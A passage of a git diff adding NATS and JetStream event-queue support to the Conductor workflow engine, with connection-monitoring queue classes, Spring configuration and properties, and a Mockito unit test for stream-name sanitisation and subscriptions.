queueURI); + mu.lock(); + try { + if (execs != null) { + execs.shutdownNow(); + execs = null; + } + closeSubs(); + closeConn(); + isOpened = false; + } finally { + mu.unlock(); + } + } + + public void open() { + // do nothing if not closed + if (isOpened) { + return; + } + + mu.lock(); + try { + try { + connect(); + + // Re-initiated subscription if existed + if (observable) { + subscribe(); + } + } catch (Exception ignore) { + } + + execs = Executors.newScheduledThreadPool(1); + execs.scheduleAtFixedRate(this::monitor, 0, 500, TimeUnit.MILLISECONDS); + isOpened = true; + } finally { + mu.unlock(); + } + } + + private void monitor() { + if (isConnected()) { + return; + } + + LOGGER.error("Monitor invoked for " + queueURI); + mu.lock(); + try { + closeSubs(); + closeConn(); + + // Connect + connect(); + + // Re-initiated subscription if existed + if (observable) { + subscribe(); + } + } catch (Exception ex) { + LOGGER.error("Monitor failed with " + ex.getMessage() + " for " + queueURI, ex); + } finally { + mu.unlock(); + } + } + + public boolean isClosed() { + return !isOpened; + } + + void ensureConnected() { + if (!isConnected()) { + throw new RuntimeException("No nats connection"); + } + } + + @Override + public void start() { + LOGGER.info("Started listening to {}:{}", getClass().getSimpleName(), queueURI); + running = true; + } + + @Override + public void stop() { + LOGGER.info("Stopped listening to {}:{}", getClass().getSimpleName(), queueURI); + running = false; + } + + @Override + public boolean isRunning() { + return running; + } + + abstract void connect(); + + abstract boolean isConnected(); + + abstract void publish(String subject, byte[] data) throws Exception; + + abstract void subscribe(); + + abstract void closeSubs(); + + abstract void closeConn(); +} diff --git a/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/NATSObservableQueue.java b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/NATSObservableQueue.java new file mode 100644 index 0000000..8c63640 --- /dev/null +++ b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/NATSObservableQueue.java @@ -0,0 +1,114 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.nats; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import io.nats.client.Connection; +import io.nats.client.Nats; +import io.nats.client.Subscription; +import rx.Scheduler; + +/** + * @author Oleksiy Lysak + */ +public class NATSObservableQueue extends NATSAbstractQueue { + + private static final Logger LOGGER = LoggerFactory.getLogger(NATSObservableQueue.class); + private Subscription subs; + private Connection conn; + + public NATSObservableQueue(String queueURI, Scheduler scheduler) { + super(queueURI, "nats", scheduler); + open(); + } + + @Override + public boolean isConnected() { + return (conn != null && Connection.Status.CONNECTED.equals(conn.getStatus())); + } + + @Override + public void connect() { + try { + Connection temp = Nats.connect(); + LOGGER.info("Successfully connected for " + queueURI); + conn = temp; + } catch (Exception e) { + LOGGER.error("Unable to establish nats connection for " + queueURI, e); + throw new RuntimeException(e); + } + } + + @Override + public void subscribe() { + // do nothing if already subscribed + if (subs != null) { + return; + } + + try { + ensureConnected(); + // Create subject/queue subscription if the queue has been provided + if (StringUtils.isNotEmpty(queue)) { + LOGGER.info( + "No subscription. Creating a queue subscription. subject={}, queue={}", + subject, + queue); + conn.createDispatcher(msg -> onMessage(msg.getSubject(), msg.getData())); + subs = conn.subscribe(subject, queue); + } else { + LOGGER.info( + "No subscription. Creating a pub/sub subscription. subject={}", subject); + conn.createDispatcher(msg -> onMessage(msg.getSubject(), msg.getData())); + subs = conn.subscribe(subject); + } + } catch (Exception ex) { + LOGGER.error( + "Subscription failed with " + ex.getMessage() + " for queueURI " + queueURI, + ex); + } + } + + @Override + public void publish(String subject, byte[] data) throws Exception { + ensureConnected(); + conn.publish(subject, data); + } + + @Override + public void closeSubs() { + if (subs != null) { + try { + subs.unsubscribe(); + } catch (Exception ex) { + LOGGER.error("closeSubs failed with " + ex.getMessage() + " for " + queueURI, ex); + } + subs = null; + } + } + + @Override + public void closeConn() { + if (conn != null) { + try { + conn.close(); + } catch (Exception ex) { + LOGGER.error("closeConn failed with " + ex.getMessage() + " for " + queueURI, ex); + } + conn = null; + } + } +} diff --git a/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/NatsException.java b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/NatsException.java new file mode 100644 index 0000000..4d21971 --- /dev/null +++ b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/NatsException.java @@ -0,0 +1,39 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.nats; + +public class NatsException extends RuntimeException { + public NatsException() { + super(); + } + + public NatsException(String message) { + super(message); + } + + public NatsException(String message, Throwable cause) { + super(message, cause); + } + + public NatsException(Throwable cause) { + super(cause); + } + + protected NatsException( + String message, + Throwable cause, + boolean enableSuppression, + boolean writableStackTrace) { + super(message, cause, enableSuppression, writableStackTrace); + } +} diff --git a/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/config/JetStreamConfiguration.java b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/config/JetStreamConfiguration.java new file mode 100644 index 0000000..edefbce --- /dev/null +++ b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/config/JetStreamConfiguration.java @@ -0,0 +1,72 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.nats.config; + +import java.util.EnumMap; +import java.util.Map; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.ApplicationEventPublisher; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.events.EventQueueProvider; +import com.netflix.conductor.core.events.queue.ObservableQueue; +import com.netflix.conductor.model.TaskModel; + +import rx.Scheduler; + +/** + * @author andrey.stelmashenko@gmail.com + */ +@Configuration +@EnableConfigurationProperties(JetStreamProperties.class) +@ConditionalOnProperty(name = "conductor.event-queues.jsm.enabled", havingValue = "true") +public class JetStreamConfiguration { + @Bean + public EventQueueProvider jsmEventQueueProvider( + JetStreamProperties properties, + Scheduler scheduler, + ConductorProperties conductorProperties, + ApplicationEventPublisher eventPublisher) { + return new JetStreamEventQueueProvider( + conductorProperties, properties, scheduler, eventPublisher); + } + + @ConditionalOnProperty(name = "conductor.default-event-queue.type", havingValue = "jsm") + @Bean + public Map getQueues( + EventQueueProvider jsmEventQueueProvider, JetStreamProperties properties) { + TaskModel.Status[] statuses = + new TaskModel.Status[] {TaskModel.Status.COMPLETED, TaskModel.Status.FAILED}; + Map queues = new EnumMap<>(TaskModel.Status.class); + for (TaskModel.Status status : statuses) { + String queueName = status.name() + getQueueGroup(properties); + + ObservableQueue queue = jsmEventQueueProvider.getQueue(queueName); + queues.put(status, queue); + } + + return queues; + } + + private String getQueueGroup(final JetStreamProperties properties) { + if (properties.getDefaultQueueGroup() == null + || properties.getDefaultQueueGroup().isBlank()) { + return ""; + } + return ":" + properties.getDefaultQueueGroup(); + } +} diff --git a/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/config/JetStreamEventQueueProvider.java b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/config/JetStreamEventQueueProvider.java new file mode 100644 index 0000000..cbe3615 --- /dev/null +++ b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/config/JetStreamEventQueueProvider.java @@ -0,0 +1,74 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.nats.config; + +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.context.ApplicationEventPublisher; +import org.springframework.lang.NonNull; + +import com.netflix.conductor.contribs.queue.nats.JetStreamObservableQueue; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.events.EventQueueProvider; +import com.netflix.conductor.core.events.queue.ObservableQueue; + +import rx.Scheduler; + +/** + * @author andrey.stelmashenko@gmail.com + */ +public class JetStreamEventQueueProvider implements EventQueueProvider { + public static final String QUEUE_TYPE = "jsm"; + private static final Logger LOG = LoggerFactory.getLogger(JetStreamEventQueueProvider.class); + private final Map queues = new ConcurrentHashMap<>(); + private final JetStreamProperties properties; + private final ConductorProperties conductorProperties; + private final Scheduler scheduler; + private final ApplicationEventPublisher eventPublisher; + + public JetStreamEventQueueProvider( + ConductorProperties conductorProperties, + JetStreamProperties properties, + Scheduler scheduler, + ApplicationEventPublisher eventPublisher) { + LOG.info("NATS Event Queue Provider initialized..."); + this.properties = properties; + this.conductorProperties = conductorProperties; + this.scheduler = scheduler; + this.eventPublisher = eventPublisher; + } + + @Override + public String getQueueType() { + return QUEUE_TYPE; + } + + @Override + @NonNull + public ObservableQueue getQueue(String queueURI) throws IllegalArgumentException { + LOG.info("Getting obs queue, quri={}", queueURI); + return queues.computeIfAbsent( + queueURI, + q -> + new JetStreamObservableQueue( + conductorProperties, + properties, + getQueueType(), + queueURI, + scheduler, + eventPublisher)); + } +} diff --git a/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/config/JetStreamProperties.java b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/config/JetStreamProperties.java new file mode 100644 index 0000000..ebf1001 --- /dev/null +++ b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/config/JetStreamProperties.java @@ -0,0 +1,145 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.nats.config; + +import java.time.Duration; + +import org.springframework.boot.context.properties.ConfigurationProperties; + +import io.nats.client.Options; + +/** + * @author andrey.stelmashenko@gmail.com + */ +@ConfigurationProperties("conductor.event-queues.jsm") +public class JetStreamProperties { + private String listenerQueuePrefix = ""; + + /** The durable subscriber name for the subscription */ + private String durableName = "defaultQueue"; + + private String streamStorageType = "file"; + private long streamMaxBytes = -1; + + /** The NATS connection url */ + private String url = Options.DEFAULT_URL; + + private Duration pollTimeDuration = Duration.ofMillis(100); + + /** WAIT tasks default queue group, to make subscription round-robin delivery to single sub */ + private String defaultQueueGroup = "wait-group"; + + private int replicas = 3; + + private int maxReconnects = -1; + + private Duration ackWait = Duration.ofSeconds(60); + private long maxAckPending = 100; + private int maxDeliver = 5; + + public long getStreamMaxBytes() { + return streamMaxBytes; + } + + public void setStreamMaxBytes(long streamMaxBytes) { + this.streamMaxBytes = streamMaxBytes; + } + + public Duration getAckWait() { + return ackWait; + } + + public void setAckWait(Duration ackWait) { + this.ackWait = ackWait; + } + + public long getMaxAckPending() { + return maxAckPending; + } + + public void setMaxAckPending(long maxAckPending) { + this.maxAckPending = maxAckPending; + } + + public int getMaxDeliver() { + return maxDeliver; + } + + public void setMaxDeliver(int maxDeliver) { + this.maxDeliver = maxDeliver; + } + + public Duration getPollTimeDuration() { + return pollTimeDuration; + } + + public void setPollTimeDuration(Duration pollTimeDuration) { + this.pollTimeDuration = pollTimeDuration; + } + + public String getListenerQueuePrefix() { + return listenerQueuePrefix; + } + + public void setListenerQueuePrefix(String listenerQueuePrefix) { + this.listenerQueuePrefix = listenerQueuePrefix; + } + + public String getDurableName() { + return durableName; + } + + public void setDurableName(String durableName) { + this.durableName = durableName; + } + + public String getUrl() { + return url; + } + + public void setUrl(String url) { + this.url = url; + } + + public String getStreamStorageType() { + return streamStorageType; + } + + public void setStreamStorageType(String streamStorageType) { + this.streamStorageType = streamStorageType; + } + + public String getDefaultQueueGroup() { + return defaultQueueGroup; + } + + public void setDefaultQueueGroup(String defaultQueueGroup) { + this.defaultQueueGroup = defaultQueueGroup; + } + + public int getReplicas() { + return replicas; + } + + public void setReplicas(int replicas) { + this.replicas = replicas; + } + + public int getMaxReconnects() { + return maxReconnects; + } + + public void setMaxReconnects(int maxReconnects) { + this.maxReconnects = maxReconnects; + } +} diff --git a/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/config/NATSConfiguration.java b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/config/NATSConfiguration.java new file mode 100644 index 0000000..7a707f8 --- /dev/null +++ b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/config/NATSConfiguration.java @@ -0,0 +1,32 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.nats.config; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.core.env.Environment; + +import com.netflix.conductor.core.events.EventQueueProvider; + +import rx.Scheduler; + +@Configuration +@ConditionalOnProperty(name = "conductor.event-queues.nats.enabled", havingValue = "true") +public class NATSConfiguration { + + @Bean + public EventQueueProvider natsEventQueueProvider(Environment environment, Scheduler scheduler) { + return new NATSEventQueueProvider(environment, scheduler); + } +} diff --git a/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/config/NATSEventQueueProvider.java b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/config/NATSEventQueueProvider.java new file mode 100644 index 0000000..d06f318 --- /dev/null +++ b/nats/src/main/java/com/netflix/conductor/contribs/queue/nats/config/NATSEventQueueProvider.java @@ -0,0 +1,59 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.nats.config; + +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.core.env.Environment; +import org.springframework.lang.NonNull; + +import com.netflix.conductor.contribs.queue.nats.NATSObservableQueue; +import com.netflix.conductor.core.events.EventQueueProvider; +import com.netflix.conductor.core.events.queue.ObservableQueue; + +import rx.Scheduler; + +/** + * @author Oleksiy Lysak + */ +public class NATSEventQueueProvider implements EventQueueProvider { + + private static final Logger LOGGER = LoggerFactory.getLogger(NATSEventQueueProvider.class); + + protected Map queues = new ConcurrentHashMap<>(); + private final Scheduler scheduler; + + public NATSEventQueueProvider(Environment environment, Scheduler scheduler) { + this.scheduler = scheduler; + LOGGER.info("NATS Event Queue Provider initialized..."); + } + + @Override + public String getQueueType() { + return "nats"; + } + + @Override + @NonNull + public ObservableQueue getQueue(String queueURI) { + NATSObservableQueue queue = + queues.computeIfAbsent(queueURI, q -> new NATSObservableQueue(queueURI, scheduler)); + if (queue.isClosed()) { + queue.open(); + } + return queue; + } +} diff --git a/nats/src/test/java/com/netflix/conductor/contribs/queue/nats/JetStreamObservableQueueTest.java b/nats/src/test/java/com/netflix/conductor/contribs/queue/nats/JetStreamObservableQueueTest.java new file mode 100644 index 0000000..8c246d8 --- /dev/null +++ b/nats/src/test/java/com/netflix/conductor/contribs/queue/nats/JetStreamObservableQueueTest.java @@ -0,0 +1,525 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.nats; + +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.atomic.AtomicBoolean; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.extension.ExtendWith; +import org.mockito.ArgumentCaptor; +import org.mockito.Mock; +import org.mockito.junit.jupiter.MockitoExtension; +import org.mockito.junit.jupiter.MockitoSettings; +import org.mockito.quality.Strictness; +import org.springframework.context.ApplicationEventPublisher; + +import com.netflix.conductor.contribs.queue.nats.config.JetStreamProperties; +import com.netflix.conductor.core.config.ConductorProperties; + +import io.nats.client.Connection; +import io.nats.client.Dispatcher; +import io.nats.client.JetStream; +import io.nats.client.JetStreamApiException; +import io.nats.client.JetStreamManagement; +import io.nats.client.JetStreamSubscription; +import io.nats.client.Message; +import io.nats.client.MessageHandler; +import io.nats.client.PushSubscribeOptions; +import io.nats.client.api.AckPolicy; +import io.nats.client.api.ConsumerConfiguration; +import io.nats.client.api.ConsumerInfo; +import io.nats.client.api.DeliverPolicy; +import io.nats.client.api.RetentionPolicy; +import io.nats.client.api.StorageType; +import io.nats.client.api.StreamConfiguration; +import io.nats.client.api.StreamInfo; + +import static org.junit.jupiter.api.Assertions.*; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.*; + +@ExtendWith(MockitoExtension.class) +@MockitoSettings(strictness = Strictness.LENIENT) +public class JetStreamObservableQueueTest { + + @Mock private JetStreamManagement jsm; + + @Mock private ApplicationEventPublisher eventPublisher; + + @Mock private StreamInfo streamInfo; + + @Mock private ConductorProperties conductorProperties; + + @Mock private JetStreamProperties jetStreamProperties; + + @Mock private Connection natsConnection; + + @Mock private JetStream jetStream; + + @Mock private Dispatcher dispatcher; + + @Mock private JetStreamSubscription subscription; + + private JetStreamObservableQueue queue; + private Method createStreamMethod; + + @BeforeEach + public void setUp() throws Exception { + when(conductorProperties.getStack()).thenReturn("test-stack"); + when(conductorProperties.getAppId()).thenReturn("test-app"); + + when(jetStreamProperties.getReplicas()).thenReturn(1); + when(jetStreamProperties.getStreamMaxBytes()).thenReturn(1024L * 1024 * 100); // 100MB + when(jetStreamProperties.getStreamStorageType()).thenReturn("Memory"); + + queue = + new JetStreamObservableQueue( + conductorProperties, + jetStreamProperties, + "test-queue-type", + "test-subject", + null, + eventPublisher); + + createStreamMethod = + JetStreamObservableQueue.class.getDeclaredMethod( + "createStream", JetStreamManagement.class); + createStreamMethod.setAccessible(true); + } + + @Test + public void testCreateStreamUsesSanitizedStreamName() throws Exception { + when(conductorProperties.getStack()).thenReturn(null); + when(conductorProperties.getAppId()).thenReturn("testapp"); + when(jetStreamProperties.getReplicas()).thenReturn(1); + when(jetStreamProperties.getStreamMaxBytes()).thenReturn(1024L * 1024 * 100); + when(jetStreamProperties.getStreamStorageType()).thenReturn("Memory"); + + JetStreamObservableQueue testQueue = + new JetStreamObservableQueue( + conductorProperties, + jetStreamProperties, + "test", + "workflow.task.*.status:workers", + null, + eventPublisher); + + when(jsm.addStream(any(StreamConfiguration.class))).thenReturn(streamInfo); + + Method createStreamMethod = + JetStreamObservableQueue.class.getDeclaredMethod( + "createStream", JetStreamManagement.class); + createStreamMethod.setAccessible(true); + createStreamMethod.invoke(testQueue, jsm); + + verify(jsm) + .addStream( + argThat( + config -> { + String expectedStreamName = + "TESTAPP_JSM_NOTIFY_WORKFLOW_TASK_ANY_STATUS"; + assertEquals( + expectedStreamName, + config.getName(), + "Stream name should be sanitized"); + + assertTrue( + config.getSubjects() + .contains( + "testapp_jsm_notify_workflow.task.*.status"), + "Subjects should contain original subject"); + + assertEquals( + 1, + config.getReplicas(), + "Replicas should match properties"); + + assertEquals( + RetentionPolicy.Limits, + config.getRetentionPolicy(), + "Retention policy should be Limits"); + + assertEquals( + 1024L * 1024 * 100, + config.getMaxBytes(), + "Max bytes should match properties"); + + assertEquals( + StorageType.Memory, + config.getStorageType(), + "Storage type should be Memory"); + + return true; + })); + verify(eventPublisher, never()).publishEvent(any()); + } + + @Test + public void testCreateStreamIOException() throws Exception { + IOException ioException = new IOException("Network error"); + when(jsm.addStream(any(StreamConfiguration.class))).thenThrow(ioException); + + createStreamMethod.invoke(queue, jsm); + + verify(jsm).addStream(any(StreamConfiguration.class)); + verify(eventPublisher).publishEvent(any()); + } + + @Test + public void testCreateStreamJetStreamApiException() throws Exception { + io.nats.client.api.Error mockError = mock(io.nats.client.api.Error.class); + when(mockError.toString()).thenReturn("API error"); + JetStreamApiException apiException = new JetStreamApiException(mockError); + when(jsm.addStream(any(StreamConfiguration.class))).thenThrow(apiException); + + createStreamMethod.invoke(queue, jsm); + + verify(jsm).addStream(any(StreamConfiguration.class)); + verify(eventPublisher).publishEvent(any()); + } + + @Test + public void testStreamNameFromSubjectMethod() throws Exception { + Method method = + JetStreamObservableQueue.class.getDeclaredMethod( + "streamNameFromSubject", String.class); + method.setAccessible(true); + + assertEquals( + "CONDUCTOR_WORKFLOW_TASK_STATUS", + method.invoke(null, "conductor.workflow.task.status")); + assertEquals("EVENTS_ANY", method.invoke(null, "events.*")); + assertEquals("EVENTS_ALL", method.invoke(null, "events.>")); + assertEquals("TEST_ANY_STATUS_ALL", method.invoke(null, "test.*.status.>")); + assertEquals("SIMPLE_NAME", method.invoke(null, "simple_name")); + assertEquals("", method.invoke(null, "")); + } + + @Test + public void testStreamNameFromSubjectComprehensive() throws Exception { + Method method = + JetStreamObservableQueue.class.getDeclaredMethod( + "streamNameFromSubject", String.class); + method.setAccessible(true); + + String[][] testCases = { + {"conductor.workflow.task.status", "CONDUCTOR_WORKFLOW_TASK_STATUS"}, + {"events.user.login", "EVENTS_USER_LOGIN"}, + {"orders.*", "ORDERS_ANY"}, + {"logs.>", "LOGS_ALL"}, + {"metrics.*.count.>", "METRICS_ANY_COUNT_ALL"}, + {"simple", "SIMPLE"}, + {"a.b.c.d.e.f", "A_B_C_D_E_F"}, + {"test.*.middle.>", "TEST_ANY_MIDDLE_ALL"}, + {"*.wildcard.*.>", "ANY_WILDCARD_ANY_ALL"} + }; + + for (String[] testCase : testCases) { + String input = testCase[0]; + String expected = testCase[1]; + String actual = (String) method.invoke(null, input); + assertEquals(expected, actual, "Failed for input: " + input); + } + } + + @Test + public void testStreamNameFromSubjectNullInput() throws Exception { + Method method = + JetStreamObservableQueue.class.getDeclaredMethod( + "streamNameFromSubject", String.class); + method.setAccessible(true); + + Exception ex = assertThrows(Exception.class, () -> method.invoke(null, (String) null)); + assertTrue( + ex.getCause() instanceof NullPointerException + || ex.getCause() instanceof IllegalArgumentException); + } + + @Test + public void testStreamNameFromSubjectEdgeCases() throws Exception { + Method method = + JetStreamObservableQueue.class.getDeclaredMethod( + "streamNameFromSubject", String.class); + method.setAccessible(true); + + assertEquals("TEST__ANY__ALL", method.invoke(null, "test..*..>")); + assertEquals("TEST_SUBJECT_ANY_ALL", method.invoke(null, "Test.Subject.*.>")); + assertEquals("APP_1_V2_ANY_LOGS_ALL", method.invoke(null, "app_1.v2.*.logs.>")); + } + + @Test + public void testSubscribeMethodWorksCorrectly() throws Exception { + when(conductorProperties.getStack()).thenReturn(null); + when(conductorProperties.getAppId()).thenReturn("testapp"); + + JetStreamObservableQueue queue = + new JetStreamObservableQueue( + conductorProperties, + jetStreamProperties, + "test", + "order.workflow.*.completed:processors", + null, + eventPublisher); + + Field streamNameField = JetStreamObservableQueue.class.getDeclaredField("streamName"); + streamNameField.setAccessible(true); + String expectedStreamName = (String) streamNameField.get(queue); + + when(natsConnection.jetStream()).thenReturn(jetStream); + when(natsConnection.createDispatcher()).thenReturn(dispatcher); + when(jetStream.subscribe( + any(String.class), + any(String.class), + any(Dispatcher.class), + any(MessageHandler.class), + eq(false), + any(PushSubscribeOptions.class))) + .thenReturn(subscription); + + ConsumerConfiguration consumerConfig = + ConsumerConfiguration.builder() + .name("test-consumer") + .durable("test-consumer") + .build(); + + Method subscribeMethod = + JetStreamObservableQueue.class.getDeclaredMethod( + "subscribe", Connection.class, ConsumerConfiguration.class); + subscribeMethod.setAccessible(true); + subscribeMethod.invoke(queue, natsConnection, consumerConfig); + + verify(natsConnection).jetStream(); + verify(natsConnection).createDispatcher(); + + verify(jetStream) + .subscribe( + eq("testapp_jsm_notify_order.workflow.*.completed"), + eq("processors"), + eq(dispatcher), + any(MessageHandler.class), + eq(false), + any(PushSubscribeOptions.class)); + + Field subField = JetStreamObservableQueue.class.getDeclaredField("sub"); + subField.setAccessible(true); + assertEquals( + subscription, subField.get(queue), "Subscription should be stored in sub field"); + + Field runningField = JetStreamObservableQueue.class.getDeclaredField("running"); + runningField.setAccessible(true); + AtomicBoolean running = (AtomicBoolean) runningField.get(queue); + assertTrue(running.get(), "Running flag should be set to true"); + + assertEquals( + "TESTAPP_JSM_NOTIFY_ORDER_WORKFLOW_ANY_COMPLETED", + expectedStreamName, + "Stream name should be properly sanitized"); + } + + @Test + public void testSubscribeMethodMessageHandler() throws Exception { + when(conductorProperties.getStack()).thenReturn(null); + when(conductorProperties.getAppId()).thenReturn("testapp"); + + JetStreamObservableQueue queue = + new JetStreamObservableQueue( + conductorProperties, + jetStreamProperties, + "test", + "test.subject:workers", + null, + eventPublisher); + + Field streamNameField = JetStreamObservableQueue.class.getDeclaredField("streamName"); + Field subjectField = JetStreamObservableQueue.class.getDeclaredField("subject"); + Field queueGroupField = JetStreamObservableQueue.class.getDeclaredField("queueGroup"); + + streamNameField.setAccessible(true); + subjectField.setAccessible(true); + queueGroupField.setAccessible(true); + + String actualStreamName = (String) streamNameField.get(queue); + String actualSubject = (String) subjectField.get(queue); + String actualQueueGroup = (String) queueGroupField.get(queue); + + assertEquals( + "testapp_jsm_notify_test.subject", actualSubject, "Subject should include prefix"); + assertEquals( + "workers", + actualQueueGroup, + "Queue group should be extracted from subject:queueGroup"); + assertEquals( + "TESTAPP_JSM_NOTIFY_TEST_SUBJECT", + actualStreamName, + "Stream name should be sanitized"); + + when(natsConnection.jetStream()).thenReturn(jetStream); + when(natsConnection.createDispatcher()).thenReturn(dispatcher); + + ArgumentCaptor messageHandlerCaptor = + ArgumentCaptor.forClass(MessageHandler.class); + + when(jetStream.subscribe( + any(String.class), + any(String.class), + any(Dispatcher.class), + messageHandlerCaptor.capture(), + eq(false), + any(PushSubscribeOptions.class))) + .thenReturn(subscription); + + ConsumerConfiguration consumerConfig = + ConsumerConfiguration.builder() + .name("test-consumer") + .durable("test-consumer") + .build(); + + Method subscribeMethod = + JetStreamObservableQueue.class.getDeclaredMethod( + "subscribe", Connection.class, ConsumerConfiguration.class); + subscribeMethod.setAccessible(true); + subscribeMethod.invoke(queue, natsConnection, consumerConfig); + + verify(jetStream) + .subscribe( + eq(actualSubject), + eq(actualQueueGroup), + eq(dispatcher), + messageHandlerCaptor.capture(), + eq(false), + any(PushSubscribeOptions.class)); + + Field subField = JetStreamObservableQueue.class.getDeclaredField("sub"); + Field runningField = JetStreamObservableQueue.class.getDeclaredField("running"); + subField.setAccessible(true); + runningField.setAccessible(true); + + assertEquals( + subscription, subField.get(queue), "Subscription should be stored in sub field"); + assertTrue( + ((AtomicBoolean) runningField.get(queue)).get(), + "Running flag should be set to true"); + + Message mockMessage = mock(Message.class); + String testPayload = "test message data"; + when(mockMessage.getData()).thenReturn(testPayload.getBytes()); + + Field messagesField = JetStreamObservableQueue.class.getDeclaredField("messages"); + messagesField.setAccessible(true); + @SuppressWarnings("unchecked") + BlockingQueue messages = (BlockingQueue) messagesField.get(queue); + + MessageHandler capturedHandler = messageHandlerCaptor.getValue(); + capturedHandler.onMessage(mockMessage); + + assertEquals(1, messages.size(), "One message should be in the queue"); + + JsmMessage processedMessage = (JsmMessage) messages.poll(); + assertNotNull(processedMessage, "Message should be processed"); + assertEquals(testPayload, processedMessage.getPayload(), "Message payload should match"); + assertNotNull(processedMessage.getJsmMsg(), "Message should have JSM message set"); + assertNotNull(processedMessage.getId(), "Message should have ID generated"); + } + 